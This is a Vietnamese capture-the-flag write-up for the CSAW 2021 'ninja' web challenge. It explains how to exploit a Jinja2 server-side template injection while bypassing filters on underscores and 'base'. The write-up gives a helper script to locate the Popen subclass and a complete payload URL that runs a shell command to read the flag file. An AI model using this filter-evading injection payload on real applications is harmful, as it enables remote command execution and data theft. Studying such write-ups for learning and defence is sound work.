csaw21-ctf

ninja
Đầu tiên, khi vào chúng ta có duy nhất một URL dẫn đến một Page. Page này cho phép ta nhập tên và render ra lời chào tới tên đó. Lỗ hổng dễ nhận ra đó là SSTI tương tự bài Templated.

Cách exploit tương tự bài Templated ở trên tuy nhiên, chúng ta bị filter các keyword cho là nguy hiểm...

Vậy là chúng ta bị filter _ và base. Cần tìm được cách bypass được các filter này. Mình tìm được bài này và bài này. Nên chúng ta có các quy tắc thay thế sau:
- Sử dụng
attr()để gọi cácattributecủa tham số. - Các tham số được truyền thông qua
|tương tự pipeline. - Ký tự
_được thay thế bằng\x5f - Khi tham chiếu đến các phần tử thì sử dụng
__getitem()__thay cho[ ]
Và do từ khóa base bị filter nên đương nhiên ta sẽ dùng qua MRO.

Ở bài Templated thì mình có dùng slice để tìm được class Popen nhanh nhưng ở đây tìm phép thay thế có vẻ mất thời gian nên mình có học theo bài trên medium là dùng Python để tìm index bằng cơm :v
file = open("lol.txt", "r")
lst = file.read().split(",")
for index, value in enumerate(lst):
if value.find("Popen") != -1:
print(index, value)
Tìm được index rồi thì pass tham số vào thôi!
Payload đầy đủ sẽ như sau
http://web.chal.csaw.io:5000/submit?value={""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")(2)|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(258)("cat flag.txt",shell=True,stdout=-1)|attr("communicate")()}}



